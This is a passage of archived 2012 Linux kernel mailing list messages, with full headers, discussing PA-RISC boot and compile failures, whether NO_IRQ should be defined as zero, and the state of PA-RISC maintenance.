        for <multiple recipients>; Sat, 05 May 2012 11:55:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=1CKLQQGmGkmA3SSeYXI6T1vyDmh8CSeDoxKu02R1vkg=;
        b=r2FLNyFSOEg6T5SPJXnVlCH3eT1CA57sw40uV+vR1+306LWw+8YU6TJ9IERdlAWmXo
         Yb0/IG9i71Sv+KCfhNJ4F2NsXRRyCRoMTWQD/xFuVpwj0Vs//WuCgfyvf+P7+PDL09g2
         fpdQbDW0N3V5LYn6Nw8Ecs47FkA7CRFgHuIXPPDcOdyIAwDmes+oKuzl45v8Mphzeifx
         vd6dOdHDe9FchsX7c09KQmOSbmnIjxpz8LWQRyWQZ3JhqnWqdjGOjgZh7/4912fDo3Sp
         FnbWLW1KVOPvCdgjCwSHFHWskNvoAnj9oJyakCOla6J4c4LrAwbpu2HzwiKZySLJzZlc
         RlRg==
Original-Received: by 10.180.94.7 with SMTP id cy7mr25982460wib.3.1336244123940; Sat,
 05 May 2012 11:55:23 -0700 (PDT)
Original-Received: by 10.216.188.149 with HTTP; Sat, 5 May 2012 11:55:03 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
X-Google-Sender-Auth: V7IceHvtu8cq3MlPAgpm00wcLnw
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1292306 gmane.linux.ports.parisc:4314
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1292306>

On Sat, May 5, 2012 at 11:53 AM, Mikulas Patocka <mpatocka@redhat.com> =
wrote:
>
> What NO_IRQ problem do you mean? There is
> #define NO_IRQ =A0 =A0 =A0 =A0 =A0(-1)
> in arch/parisc/include/asm/irq.h.

That's the one he means.

Switching it to zero and testing that things still work would be apprec=
iated.

Much code already knows that NO_IRQ is supposed to be zero, and
there's tons of drivers that just do the (correct!) "if (!dev->irq)"
kind of thing.

Any architecture that has a non-zero NO_IRQ is basically broken.
Always has been.

                    Linus

From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 5 May 2012 16:09:52 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <BLU0-SMTP81AFFA5151451BADCB23B3972D0@phx.gbl>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com> <1798237.g4OIBKAx4s@donald.sf-tec.de> <Pine.LNX.4.64.1205051445360.2623@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336248616 2754 80.91.229.3 (5 May 2012 20:10:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 20:10:16 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 22:10:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQlIy-000854-CA
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 22:10:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751201Ab2EEUKL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 16:10:11 -0400
Original-Received: from blu0-omc3-s5.blu0.hotmail.com ([65.55.116.80]:10610 "EHLO
	blu0-omc3-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751106Ab2EEUKK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 16:10:10 -0400
Original-Received: from BLU0-SMTP81 ([65.55.116.72]) by blu0-omc3-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 May 2012 13:10:09 -0700
X-Originating-IP: [64.229.84.125]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.125]) by BLU0-SMTP81.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 5 May 2012 13:10:09 -0700
In-Reply-To: <Pine.LNX.4.64.1205051445360.2623@file.rdu.redhat.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 05 May 2012 20:10:09.0133 (UTC) FILETIME=[1208B1D0:01CD2AFB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4315 gmane.linux.kernel:1292339
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4315>

On 5-May-12, at 2:55 PM, Mikulas Patocka wrote:

> I acknowledge that your patches work. So send them directly to  
> Linus. I
> think there is not much maintenance being done on PA-RISC.

James wrote back in March "I haven't yet actually tried git head on  
parisc
(and I won't be able to until I actually get my machines back  
[currently being
shipped across the atlantic]) but if there's a problem it will show up  
quickly:
parisc actually uses cpu hotplug to boot its secondary cpus."

Helge resigned due to lack of time.

This is my understanding as to why there is a maintenance gap.

For what I have been doing, I only use stable kernels.  I'm currently
running 3.3.4.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot
Date: Sat, 05 May 2012 22:33:26 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <1336250006.2463.139.camel@laptop>
References: <Pine.LNX.4.64.1205042305250.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336250037 11507 80.91.229.3 (5 May 2012 20:33:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 20:33:57 +0000 (UTC)
Cc: Stepan Moskovchenko <stepanm@codeaurora.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@elte.hu>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat May 05 22:33:55 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SQlfu-0008Mu-RU
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 May 2012 22:33:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755305Ab2EEUdm (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 5 May 2012 16:33:42 -0400
Original-Received: from casper.infradead.org ([85.118.1.10]:42600 "EHLO
	casper.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751509Ab2EEUdl (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 5 May 2012 16:33:41 -0400
Original-Received: from dhcp-089-099-019-018.chello.nl ([89.99.19.18] helo=dyad.programming.kicks-ass.net)
	by casper.infradead.org with esmtpsa (Exim 4.76 #1 (Red Hat Linux))
	id 1SQlfg-0006Dn-Fw
	for linux-kernel@vger.kernel.org; Sat, 05 May 2012 20:33:40 +0000
Original-Received: by dyad.programming.kicks-ass.net (Postfix, from userid 65534)
	id 936C524260; Sat,  5 May 2012 22:33:14 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	dyad.programming.kicks-ass.net
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED
	autolearn=unavailable version=3.3.1
Original-Received: from [IPv6:::1] (localhost [127.0.0.1])
	by dyad.programming.kicks-ass.net (Postfix) with ESMTP id 7EB3124245;
	Sat,  5 May 2012 22:33:11 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.64.1205042305250.18896@file.rdu.redhat.com>
X-Mailer: Evolution 2.32.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1292342 gmane.linux.ports.parisc:4316
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1292342>

On Fri, 2012-05-04 at 23:26 -0400, Mikulas Patocka wrote:
> Your patch 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot. I 
> have a dual-core PA-8800. With the patch applied, the kernel crashes with 
> these messages. The timer structures are apparently corrupted, as the 
> timer sees a negative amount of delayed cycles: 

You'll find:

  http://marc.info/?l=linux-parisc&m=133241790810604&w=2

will probably fix the issue.


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sat, 05 May 2012 23:24:05 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <4FA59A75.8080402@gmx.de>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com> <1798237.g4OIBKAx4s@donald.sf-tec.de> <Pine.LNX.4.64.1205051445360.2623@file.rdu.redhat.com> <BLU0-SMTP81AFFA5151451BADCB23B3972D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336253100 30150 80.91.229.3 (5 May 2012 21:25:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 21:25:00 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 23:24:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQmTJ-0001Xu-H4
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 23:24:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751154Ab2EEVYN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 17:24:13 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:40498 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1751095Ab2EEVYN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 17:24:13 -0400
Original-Received: (qmail invoked by alias); 05 May 2012 21:24:11 -0000
Original-Received: from p54AD0B82.dip0.t-ipconnect.de (EHLO halden.box) [84.173.11.130]
  by mail.gmx.net (mp039) with SMTP; 05 May 2012 23:24:11 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+bMmZL1rSbgoKLAEXW3JfKsSrLPm+OZk/4lJDlUP
	/g+9YGT/KK9hhl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20120430 Thunderbird/12.0.1
In-Reply-To: <BLU0-SMTP81AFFA5151451BADCB23B3972D0@phx.gbl>
X-Enigmail-Version: 1.4.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4317 gmane.linux.kernel:1292348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4317>

On 05/05/2012 10:09 PM, John David Anglin wrote:
> On 5-May-12, at 2:55 PM, Mikulas Patocka wrote:
> 
>> I acknowledge that your patches work. So send them directly to Linus. I
>> think there is not much maintenance being done on PA-RISC.
> 
> James wrote back in March "I haven't yet actually tried git head on parisc
> (and I won't be able to until I actually get my machines back [currently being
> shipped across the atlantic]) but if there's a problem it will show up quickly:
> parisc actually uses cpu hotplug to boot its secondary cpus."

> Helge resigned due to lack of time.

I'm still alive and was still reading the mailing list.
And I'm planning to test some newer kernels very soon again :-)
So, many thanks from my side to everyone who sent patches in the past
(incl. Mikulas, Rolf and others).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sun, 06 May 2012 00:00:43 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <4696140.nzSZDxnI1S@donald.sf-tec.de>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com> <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com> <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart8628527.YMkJWkif5a"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336255267 10277 80.91.229.3 (5 May 2012 22:01:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 22:01:07 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 06 00:01:05 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQn2H-0008Cn-1K
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 May 2012 00:01:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751523Ab2EEWBE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 5 May 2012 18:01:04 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37638 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750987Ab2EEWBD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 5 May 2012 18:01:03 -0400
Original-Received: (qmail 13084 invoked from network); 5 May 2012 22:01:01 -0000
Original-Received: from dslb-178-003-164-245.pools.arcor-ip.net ([::ffff:178.3.164.245]:49144 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <torvalds@linux-foundation.org>; Sun, 06 May 2012 00:01:01 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <CA+55aFy2O8KcLC-yGCG2ZRpCpAdZ_T7z-sSme4fMrXG=YNAAhA@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4318 gmane.linux.kernel:1292351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4318>


--nextPart8628527.YMkJWkif5a
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Linus Torvalds wrote:
> On Sat, May 5, 2012 at 11:53 AM, Mikulas Patocka <mpatocka@redhat.com> 
wrote:
> > What NO_IRQ problem do you mean? There is
> > #define NO_IRQ          (-1)
> > in arch/parisc/include/asm/irq.h.
> 
> That's the one he means.
> 
> Switching it to zero and testing that things still work would be
> appreciated.
> 
> Much code already knows that NO_IRQ is supposed to be zero, and
> there's tons of drivers that just do the (correct!) "if (!dev->irq)"
> kind of thing.
> 
> Any architecture that has a non-zero NO_IRQ is basically broken.
> Always has been.

The stuff in drivers/parisc/gsc.c doesn't look as if it would survive that 
change.

Eike
--nextPart8628527.YMkJWkif5a
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+loxkACgkQXKSJPmm5/E6KQQCeIUj/xTTc2TaeoMjlB9IRCEXF
JPsAn0UvZ8cpqwOwRgVbJh+PWpzwwMWB
=pn4l
-----END PGP SIGNATURE-----

--nextPart8628527.YMkJWkif5a--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sun, 06 May 2012 08:57:13 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <1336291033.7955.0.camel@dabdike.home>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	 <1798237.g4OIBKAx4s@donald.sf-tec.de>
	 <Pine.LNX.4.64.1205051445360.2623@file.rdu.redhat.com>
	 <BLU0-SMTP81AFFA5151451BADCB23B3972D0@phx.gbl> <4FA59A75.8080402@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336291063 857 80.91.229.3 (6 May 2012 07:57:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 May 2012 07:57:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 06 09:57:41 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SQwLb-0002IB-5g
	for glk-linux-kernel-3@plane.gmane.org; Sun, 06 May 2012 09:57:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752307Ab2EFH5X (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 6 May 2012 03:57:23 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43950 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751929Ab2EFH5V (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 6 May 2012 03:57:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D63698EE12E;
	Sun,  6 May 2012 00:57:20 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7Hw8DRcB_B8n; Sun,  6 May 2012 00:57:20 -0700 (PDT)
Original-Received: from [192.168.1.69] (host213-122-255-35.range213-122.btcentralplus.com [213.122.255.35])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 89C378EE0EC;
	Sun,  6 May 2012 00:57:17 -0700 (PDT)
In-Reply-To: <4FA59A75.8080402@gmx.de>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1292383 gmane.linux.ports.parisc:4319
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1292383>

On Sat, 2012-05-05 at 23:24 +0200, Helge Deller wrote:
> On 05/05/2012 10:09 PM, John David Anglin wrote:
> > On 5-May-12, at 2:55 PM, Mikulas Patocka wrote:
> > 
> >> I acknowledge that your patches work. So send them directly to Linus. I
> >> think there is not much maintenance being done on PA-RISC.
> > 
> > James wrote back in March "I haven't yet actually tried git head on parisc
> > (and I won't be able to until I actually get my machines back [currently being
> > shipped across the atlantic]) but if there's a problem it will show up quickly:
> > parisc actually uses cpu hotplug to boot its secondary cpus."
> 
> > Helge resigned due to lack of time.
> 
> I'm still alive and was still reading the mailing list.
> And I'm planning to test some newer kernels very soon again :-)
> So, many thanks from my side to everyone who sent patches in the past
> (incl. Mikulas, Rolf and others).

If you could, it would help.  I still have no access to PA systems
(should have mine by next week), but I'm on holiday this week anyway.

James



From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Fix compile failure on PA-RISC
Date: Sun, 6 May 2012 13:24:13 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20120506132413.28499956@pyramind.ukuu.org.uk>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
	<20120505115851.1fecbe50@pyramind.ukuu.org.uk>
	<Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336306960 32021 80.91.229.3 (6 May 2012 12:22:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 May 2012 12:22:40 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 06 14:22:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SR0U0-0006J4-Ht
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 May 2012 14:22:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753395Ab2EFMVe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 May 2012 08:21:34 -0400
Original-Received: from lxorguk.ukuu.org.uk ([81.2.110.251]:60642 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753386Ab2EFMVd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 May 2012 08:21:33 -0400
Original-Received: from pyramind.ukuu.org.uk (earthlight.etchedpixels.co.uk [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.5/8.14.1) with ESMTP id q46CpQYC028163;
	Sun, 6 May 2012 13:51:32 +0100
Original-Received: from pyramind.ukuu.org.uk (localhost [127.0.0.1])
	by pyramind.ukuu.org.uk (8.14.5/8.14.5) with ESMTP id q46CODTe016056;
	Sun, 6 May 2012 13:24:14 +0100
In-Reply-To: <Pine.LNX.4.64.1205051448400.2623@file.rdu.redhat.com>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4320 gmane.linux.kernel:1292407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4320>

> What NO_IRQ problem do you mean? There is
> #define NO_IRQ          (-1)
> in arch/parisc/include/asm/irq.h.

It should be zero ready for us to get rid of it. Aa far as I can tell
pa-risc can just move to 0 without anything breaking. In fact some stuff
like serial port polling on 8250 ports will begin to work if it's done.

> And there are other NO_IRQ definitions in other architectures, some 
> defining it to ((unsigned int)(-1)), some to 0xffffffff, some to INT_MAX, 
> some to (-1) and some to (0).

Yes people are working on removing them all.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 18/21] parisc/PCI: register busn_res for root buses
Date: Mon,  7 May 2012 13:30:03 -0700
Lines: 103
